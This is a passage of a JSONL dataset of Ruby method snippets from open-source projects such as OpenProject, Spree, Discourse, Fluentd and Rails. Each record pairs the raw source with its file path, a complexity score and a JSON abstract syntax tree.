\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_table\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_table\"]}]},{\"type\":\"str\",\"children\":[\".watchable_type='WorkPackage'\\n\"]},{\"type\":\"str\",\"children\":[\"         AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Operators\"]},\"Equals\"]},\"sql_for_field\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"db_table\"]},{\"type\":\"send\",\"children\":[null,\"db_field\"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}","id":"2d0085c8-81bc-4628-86f8-a869bc8fc0bb"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/spec/features/account_spec.rb","start_line":205,"raw_source":"def fill_in_address_form\n        fill_in 'address_firstname', with: 'Firstname'\n        fill_in 'address_lastname', with: 'Lastname'\n        fill_in 'address_city', with: 'Skopje'\n        fill_in 'address_address1', with: 'Street'\n        fill_in 'address_address2', with: '122'\n        fill_in 'address_zipcode', with: '00007'\n        fill_in 'address_phone', with: '77777777'\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_address_form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"address_firstname\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Firstname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"address_lastname\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Lastname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"address_city\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Skopje\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"address_address1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"Street\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"address_address2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"122\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"address_zipcode\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"00007\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"address_phone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"77777777\"]}]}]}]}]}]}","id":"4414f61d-a625-47e4-9649-e0d5dd8bf7c4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/factory.rb","start_line":22,"raw_source":"def create_database_restorer(current_db)\n      DatabaseRestorer.new(logger, current_db)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_database_restorer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DatabaseRestorer\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"logger\"]},{\"type\":\"lvar\",\"children\":[\"current_db\"]}]}]}","id":"26aad60c-ac7f-4d35-8fb7-f9e101c50746"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buf_file_single.rb","start_line":160,"raw_source":"def resume\n        stage = {}\n        queue = []\n        exist_broken_file = false\n\n        patterns = [@path]\n        patterns.unshift @additional_resume_path if @additional_resume_path\n        Dir.glob(escaped_patterns(patterns)) do |path|\n          next unless File.file?(path)\n\n          if owner.respond_to?(:buffer_config) && owner.buffer_config&.flush_at_shutdown\n            # When `flush_at_shutdown` is `true`, the remaining chunk files during resuming are possibly broken\n            # since there may be a power failure or similar failure.\n            log.warn { \"restoring buffer file: path = #{path}\" }\n          else\n            log.debug { \"restoring buffer file: path = #{path}\" }\n          end\n\n          m = new_metadata() # this metadata will be updated in FileSingleChunk.new\n          mode = Fluent::Plugin::Buffer::FileSingleChunk.assume_chunk_state(path)\n          if mode == :unknown\n            log.debug \"unknown state chunk found\", path: path\n            next\n          end\n\n          begin\n            chunk = Fluent::Plugin::Buffer::FileSingleChunk.new(m, path, mode, @key_in_path, compress: @compress)\n            chunk.restore_size(@chunk_format) if @calc_num_records\n          rescue Fluent::Plugin::Buffer::FileSingleChunk::FileChunkError => e\n            exist_broken_file = true\n            handle_broken_files(path, mode, e)\n            next\n          end\n\n          case chunk.state\n          when :staged\n            stage[chunk.metadata] = chunk\n          when :queued\n            queue << chunk\n          end\n        end\n\n        queue.sort_by!(&:modified_at)\n\n        # If one of the files is corrupted, other files may also be corrupted and be undetected.\n        # The time periods of each chunk are helpful to check the data.\n        if exist_broken_file\n          log.info \"Since a broken chunk file was found, it is possible that other files remaining at the time of resuming were also broken. Here is the list of the files.\"\n          (stage.values + queue).each { |chunk|\n            log.info \"  #{chunk.path}:\", :created_at => chunk.created_at, :modified_at => chunk.modified_at\n          }\n        end\n\n        return stage, queue\n      end","complexity_score":78.5,"ast_json":"{\"type\":\"def\",\"children\":[\"resume\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stage\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"queue\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"exist_broken_file\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"patterns\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@additional_resume_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"unshift\",{\"type\":\"ivar\",\"children\":[\"@additional_resume_path\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[null,\"escaped_patterns\",{\"type\":\"lvar\",\"children\":[\"patterns\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"buffer_config\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner\"]},\"buffer_config\"]},\"flush_at_shutdown\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"restoring buffer file: path = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"restoring buffer file: path = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[null,\"new_metadata\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"Buffer\"]},\"FileSingleChunk\"]},\"assume_chunk_state\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"unknown\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"debug\",{\"type\":\"str\",\"children\":[\"unknown state chunk found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"Buffer\"]},\"FileSingleChunk\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"m\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]},{\"type\":\"ivar\",\"children\":[\"@key_in_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compress\"]},{\"type\":\"ivar\",\"children\":[\"@compress\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@calc_num_records\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"restore_size\",{\"type\":\"ivar\",\"children\":[\"@chunk_format\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"Buffer\"]},\"FileSingleChunk\"]},\"FileChunkError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exist_broken_file\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"handle_broken_files\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"next\",\"children\":[]}]}]},null]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"state\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"staged\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"metadata\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"queued\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"sort_by!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"modified_at\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exist_broken_file\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"info\",{\"type\":\"str\",\"children\":[\"Since a broken chunk file was found, it is possible that other files remaining at the time of resuming were also broken. Here is the list of the files.\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage\"]},\"values\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"queue\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\":\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"modified_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"modified_at\"]}]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage\"]},{\"type\":\"lvar\",\"children\":[\"queue\"]}]}]}]}","id":"b7a568ed-3e19-4587-9fe1-1455b39cf40d"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/badges/award.rb","start_line":3,"raw_source":"def self.call(user_relation, slug, message_markdown, include_default_description: true)\n      return unless (badge_id = Badge.id_for_slug(slug))\n\n      user_relation.find_each do |user|\n        next if user.banished?\n\n        achievement = user.badge_achievements.create(\n          badge_id: badge_id,\n          rewarding_context_message_markdown: message_markdown,\n          include_default_description: include_default_description,\n        )\n        user.touch if achievement.persisted?\n      end\n    end","complexity_score":14.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_relation\"]},{\"type\":\"arg\",\"children\":[\"slug\"]},{\"type\":\"arg\",\"children\":[\"message_markdown\"]},{\"type\":\"kwoptarg\",\"children\":[\"include_default_description\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"badge_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"id_for_slug\",{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_relation\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"banished?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"achievement\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"badge_achievements\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"badge_id\"]},{\"type\":\"lvar\",\"children\":[\"badge_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rewarding_context_message_markdown\"]},{\"type\":\"lvar\",\"children\":[\"message_markdown\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_default_description\"]},{\"type\":\"lvar\",\"children\":[\"include_default_description\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"achievement\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"touch\"]},null]}]}]}]}]}","id":"12c34d3e-fc29-4062-b77d-7debe59b976a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/internal_helpers.rb","start_line":196,"raw_source":"def gl_repository_path\n        repository.full_path\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gl_repository_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"full_path\"]}]}","id":"91536655-067b-4dc6-87b3-e76eed5a3d60"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/return_authorization.rb","start_line":72,"raw_source":"def must_have_shipped_units\n      if order.nil? || order.inventory_units.shipped.none?\n        errors.add(:order, Spree.t(:has_no_shipped_units))\n      end\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"must_have_shipped_units\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"inventory_units\"]},\"shipped\"]},\"none?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"has_no_shipped_units\"]}]}]},null]}]}","id":"6fd025fd-dbea-4a4d-a099-21658461814f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/trailing_underscore_variable.rb","start_line":41,"raw_source":"def on_masgn(node)\n          ranges = unneeded_ranges(node)\n\n          ranges.each do |range|\n            good_code = node.source\n            offset = range.begin_pos - node.source_range.begin_pos\n            good_code[offset, range.size] = ''\n\n            add_offense(range, message: format(MSG, code: good_code)) do |corrector|\n              corrector.remove(range)\n            end\n          end\n        end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_masgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ranges\",{\"type\":\"send\",\"children\":[null,\"unneeded_ranges\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"good_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin_pos\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"begin_pos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"good_code\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"size\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"good_code\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}]}]}","id":"69187050-a8d1-4dcb-9335-de248939a25f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/v2/reports/team_summary_builder.rb","start_line":17,"raw_source":"def prepare_report\n    account.teams.map do |team|\n      build_team_stats(team)\n    end\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"teams\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"team\"]}]},{\"type\":\"send\",\"children\":[null,\"build_team_stats\",{\"type\":\"lvar\",\"children\":[\"team\"]}]}]}]}","id":"e7144326-1ed4-4dff-8043-e01b6c8e2d0d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/method_preference.rb","start_line":9,"raw_source":"def preferred_method(method)\n        preferred_methods[method.to_sym]\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"preferred_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preferred_methods\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_sym\"]}]}]}","id":"c2ecfab0-4486-4636-bfed-7b5b3b433314"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/date_picker_controller.rb","start_line":225,"raw_source":"def set_date_attributes_to_work_package\n    wp_params = work_package_datepicker_params\n    wp_params = manage_params_for_automatic_mode(wp_params)\n\n    if wp_params.present?\n      WorkPackages::SetAttributesService\n        .new(user: current_user,\n             model: @work_package,\n             contract_class:)\n        .call(wp_params)\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"set_date_attributes_to_work_package\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wp_params\",{\"type\":\"send\",\"children\":[null,\"work_package_datepicker_params\"]}]},{\"type\":\"lvasgn\",\"children\":[\"wp_params\",{\"type\":\"send\",\"children\":[null,\"manage_params_for_automatic_mode\",{\"type\":\"lvar\",\"children\":[\"wp_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_params\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"SetAttributesService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"send\",\"children\":[null,\"contract_class\"]}]}]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"wp_params\"]}]},null]}]}]}","id":"e8d43b47-1249-4612-9529-33750fd3776b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/jive.rb","start_line":24,"raw_source":"def created_post(post)\n    @post_number_map[post.id] = post.post_number\n    super\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"created_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_number_map\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"49fe7699-e138-4a04-bfc2-44be3bed0a20"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/manageable_repository.rb","start_line":32,"raw_source":"def self.included(base)\n        base.extend(ClassMethods)\n\n        ##\n        # Take note when projects are renamed and check for associated managed repositories\n        OpenProject::Notifications.subscribe(OpenProject::Events::PROJECT_RENAMED) do |payload|\n          repository = payload[:project]&.repository\n\n          if repository&.managed?\n            ::SCM::RelocateRepositoryJob.perform_later(repository)\n          end\n        end\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Events\"]},\"PROJECT_RENAMED\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repository\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"repository\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"managed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SCM\"]},\"RelocateRepositoryJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},null]}]}]}]}]}","id":"2e9120dd-cebd-46c6-b858-cfffd620071b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":498,"raw_source":"def test_optimized_named_route_with_host\n    rs.draw do\n      get \"page\" => \"content#show_page\", :as => \"pages\", :host => \"foo.com\"\n    end\n    routes = setup_for_named_route\n    assert_equal \"http://foo.com/page\", routes.pages_url\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_optimized_named_route_with_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"page\"]},{\"type\":\"str\",\"children\":[\"content#show_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"pages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"foo.com\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"routes\",{\"type\":\"send\",\"children\":[null,\"setup_for_named_route\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://foo.com/page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"pages_url\"]}]}]}]}","id":"